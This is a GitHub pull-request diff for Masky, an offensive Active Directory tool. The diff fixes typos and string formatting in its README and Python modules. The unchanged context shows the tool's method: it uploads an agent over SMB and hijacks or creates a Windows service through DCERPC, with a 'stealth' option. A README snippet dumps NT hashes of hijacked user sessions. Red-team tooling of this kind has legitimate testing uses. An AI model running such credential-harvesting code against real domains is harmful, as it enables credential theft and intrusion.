Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,11 +26,11 @@ Masky has been designed as a Python library. Moreover, a command line interface

For both usages, you need first to retrieve the FQDN of a `CA server` and its `CA name` deployed via an ADCS. This information can be easily retrieved via the `certipy find` option or via the Microsoft built-in `certutil.exe` tool. Make sure that the default `User` template is enabled on the targeted CA.

Warning: Masky deploys an executable on each target via a modification of the existing `RasAuto` service. Despite the automated roll-back of its intial `ImagePath` value, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop.
Warning: Masky deploys an executable on each target via a modification of the existing `RasAuto` service. Despite the automated roll-back of its initial `ImagePath` value, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop.

### Command line

The following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distincts domain users from the sec.lab testing domain.
The following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distinct domain users from the sec.lab testing domain.

<p align="center">
<img src="./assets/masky_demo.gif" alt="Masky CLI demo" />
Expand Down Expand Up @@ -107,12 +107,12 @@ def dump_nt_hashes():
target = "192.168.23.130"
rslts = m.run(target)

# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
# Check if Masky successfully hijacked at least a user session
# or if an unexpected error occurred
if not rslts:
return False

# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
# Loop on MaskyResult object to display hijacked users and to retrieve their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
Expand Down Expand Up @@ -169,4 +169,4 @@ The default values are the following:
- [Pixis](https://twitter.com/HackAndDo) for the tool [Lsassy](https://github.com/Hackndo/Lsassy)
- Incognito tool and its [Metasploit implementation](https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/)
- [S3cur3Th1sSh1t](https://twitter.com/ShitSecure) for the tool [SharpImpersonation](https://github.com/S3cur3Th1sSh1t/SharpImpersonation) and the [associated article](https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/)
- McAfee for their article regarding the [token impersonation techniques](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf)
- McAfee for their article regarding the [token impersonation techniques](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf)
4 changes: 2 additions & 2 deletions masky/lib/cert/auth.py
Original file line number Diff line number Diff line change
Expand Up @@ -149,7 +149,7 @@ def authenticate(self, is_key_credential=False):
try:
self.dc_ip = socket.gethostbyname(self.dc_domain)
except:
err_msg = "The provided DC IP is invalid / not set and the domain could not been resolved"
err_msg = "The provided DC IP is invalid/unset and the domain could not be resolved"
logger.error(err_msg)
self.tracker.last_error_msg = err_msg
return False
Expand Down Expand Up @@ -425,7 +425,7 @@ def kerberos_authentication(

if not is_key_credential:
logger.result(
f"Gathered NT hash for the user '{domain}\{username}': {nt_hash}"
fr"Gathered NT hash for the user '{domain}\{username}': {nt_hash}"
)
self.user.lm_hash = lm_hash
self.user.nt_hash = nt_hash
Expand Down
4 changes: 2 additions & 2 deletions masky/lib/results.py
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ def parse_agent_errors(self, data):
users += user.split("'")[1] + " "
if users:
logger.warning(
f"Fail to retrieve a PEM from the provided template name for the following users: {users}"
f"Failed to retrieve a PEM from the provided template name for the following users: {users}"
)

if self.json_data:
Expand All @@ -57,7 +57,7 @@ def parse_agent_errors(self, data):
err_msg = f"The Masky agent execution failed due to the following errors:\n{self.errors}"
logger.debug(err_msg)
self.tracker.last_error_msg = (
f"The Masky agent execution failed, probably empty certificates"
f"The Masky agent execution failed, probably due to empty certificates"
)
else:
self.tracker.last_error_msg = (
Expand Down
34 changes: 17 additions & 17 deletions masky/lib/smb.py
Original file line number Diff line number Diff line change
Expand Up @@ -97,18 +97,18 @@ def exec_masky(self, target, ca, template):
self.__command = f'{self.__masky_remote_path} /ca:"{ca}" /template:"{template}" /output:"{self.__results_remote_path}" /debug:"{self.__errors_remote_path}"'
self.__upload_masky(target)
logger.debug(
f"Masky agent was successfuly uploaded in: '{self.__masky_remote_path}'"
f"Masky agent was successfully uploaded in: '{self.__masky_remote_path}'"
)
except Exception as e:
err_msg = None
if "STATUS_ACCESS_DENIED" in str(e):
err_msg = f"The user {self.__domain}\{self.__username} is not local administrator on this system"
err_msg = fr"The user {self.__domain}\{self.__username} is not a local administrator on this system"
logger.warn(err_msg)
elif "STATUS_LOGON_FAILURE" in str(e):
err_msg = f"The provided credentials for the user '{self.__domain}\{self.__username}' are invalids or the user does not exist"
err_msg = fr"The provided credentials for the user '{self.__domain}\{self.__username}' are invalid or the user does not exist"
logger.error(err_msg)
else:
err_msg = f"Fail to upload the agent ({str(e)})"
err_msg = f"Failed to upload the agent ({str(e)})"
logger.error(err_msg)
self.__tracker.last_error_msg = err_msg
raise Exception
Expand All @@ -118,14 +118,14 @@ def exec_masky(self, target, ca, template):
if self.__stealth:
self.__edit_svc()
logger.debug(
f"The service '{self.__svc_name}' was successfuly modified"
f"The service '{self.__svc_name}' was successfully modified"
)
else:
self.__create_svc()
logger.debug(f"The service '{self.__svc_name}' was successfuly created")
logger.debug(f"The service '{self.__svc_name}' was successfully created")
except Exception as e:
err_msg = (
f"Fail to edit or create the '{self.__svc_name}' service via DCERPC"
f"Failed to edit or create the '{self.__svc_name}' service via DCERPC"
)
logger.error(err_msg)
self.__tracker.last_error_msg = err_msg
Expand Down Expand Up @@ -208,7 +208,7 @@ def __remove_masky(self, target_host):
except:
self.__tracker.files_cleaning_success = False
logger.warn(
f"Fail to remove Masky agent located in: {self.__masky_remote_path}"
f"Failed to remove Masky agent located in: {self.__masky_remote_path}"
)

if self.__file_args:
Expand All @@ -217,7 +217,7 @@ def __remove_masky(self, target_host):
except:
self.__tracker.files_cleaning_success = False
logger.warn(
f"Fail to remove Masky agent arguments file located in: {self.__args_path}"
f"Failed to remove Masky agent arguments file located in: {self.__args_path}"
)

smbclient.close()
Expand Down Expand Up @@ -258,7 +258,7 @@ def __process_results(self, target_host):
except:
self.__tracker.files_cleaning_success = False
logger.warn(
f"Fail to remove Masky agent output file located in: {self.__results_remote_path}"
f"Failed to remove Masky agent output file located in: {self.__results_remote_path}"
)

try:
Expand All @@ -268,7 +268,7 @@ def __process_results(self, target_host):
rslt.parse_agent_errors,
)
if rslt.errors:
err_msg = f"The Masky agent execution failed, enable the debugging to display the stacktrace"
err_msg = f"The Masky agent execution failed, enable debugging to display the stacktrace"
logger.error(err_msg)
except:
logger.warn("No Masky agent error file was downloaded")
Expand All @@ -277,7 +277,7 @@ def __process_results(self, target_host):
except:
self.__tracker.files_cleaning_success = False
logger.warn(
f"Fail to remove Masky agent error file located in: {self.__errors_remote_path}"
f"Failed to remove Masky agent error file located in: {self.__errors_remote_path}"
)

if rslt.json_data and len(rslt.json_data) == 0:
Expand All @@ -292,7 +292,7 @@ def __process_results(self, target_host):
return rslt

def __init_rpc(self, target_host):
np_bind = f"ncacn_np:{target_host}[\pipe\svcctl]"
np_bind = fr"ncacn_np:{target_host}[\pipe\svcctl]"
self.__rpc_con = transport.DCERPCTransportFactory(np_bind)
self.__rpc_con.set_dport(self.__port)
self.__rpc_con.setRemoteHost(target_host)
Expand Down Expand Up @@ -382,7 +382,7 @@ def __revert_svc(self):
except Exception as e:
self.__tracker.svc_cleaning_success = False
logger.warn(
f"Fail to revert '{self.__svc_name}' service binary path ({str(e)}])"
f"Failed to revert '{self.__svc_name}' service binary path ({str(e)}])"
)

def __remove_svc(self):
Expand All @@ -394,7 +394,7 @@ def __remove_svc(self):
)
except Exception as e:
self.__tracker.svc_cleaning_success = False
logger.warn(f"Fail to remove '{self.__svc_name}' service ({str(e)}])")
logger.warn(f"Failed to remove '{self.__svc_name}' service ({str(e)}])")

def __clean(self, target_host):
try:
Expand All @@ -415,7 +415,7 @@ def __clean(self, target_host):
except Exception as e:
self.__tracker.svc_cleaning_success = False
logger.warning(
f"An unknown error occured while trying to revert or remove '{self.__svc_name}' ({str(e)})"
f"An unknown error occurred while trying to revert or remove '{self.__svc_name}' ({str(e)})"
)
try:
scmr.hRControlService(
Expand All @@ -428,4 +428,4 @@ def __clean(self, target_host):
self.__remove_masky(target_host)
except Exception as e:
self.__tracker.files_cleaning_success = False
logger.warn(f"Fail to remove Masky related files on the target ({str(e)}")
logger.warn(f"Failed to remove Masky related files on the target ({str(e)}")
4 changes: 2 additions & 2 deletions masky/ui/console.py
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ def start(self):
cli_parser = get_cli_args()
self.__opts = Options(cli_parser)
if not self.__opts.process():
logger.error("The provided options are invalids")
logger.error("The provided options are invalid")
return False
self.__run()
return True
Expand All @@ -102,7 +102,7 @@ def stop(self):
try:
self.__process_results(rslt)
except Exception as e:
logger.warn(f"Fail to process results ({str(e)})")
logger.warn(f"Failed to process results ({str(e)})")
except KeyboardInterrupt:
logger.warn(
"Multiple interruption signals were triggered, Masky is forced to exit without properly cleaning currently processed servers"
Expand Down
6 changes: 3 additions & 3 deletions masky/ui/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,13 +10,13 @@

def print_banner():
print(
f"""
fr"""
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\\__, |
v{VERSION} |___/
|_| |_|\__,_|___/_|\_\\__, |
v{VERSION:22s}|___/
"""
)

Expand Down
2 changes: 1 addition & 1 deletion masky/ui/options.py
Original file line number Diff line number Diff line change
Expand Up @@ -161,7 +161,7 @@ def get_cli_args():
"-ca",
"--certificate-authority",
action="store",
help="Certificate Authority Name (SERVER\CA_NAME)",
help=r"Certificate Authority Name (SERVER\CA_NAME)",
required=True,
)
group_connect.add_argument(
Expand Down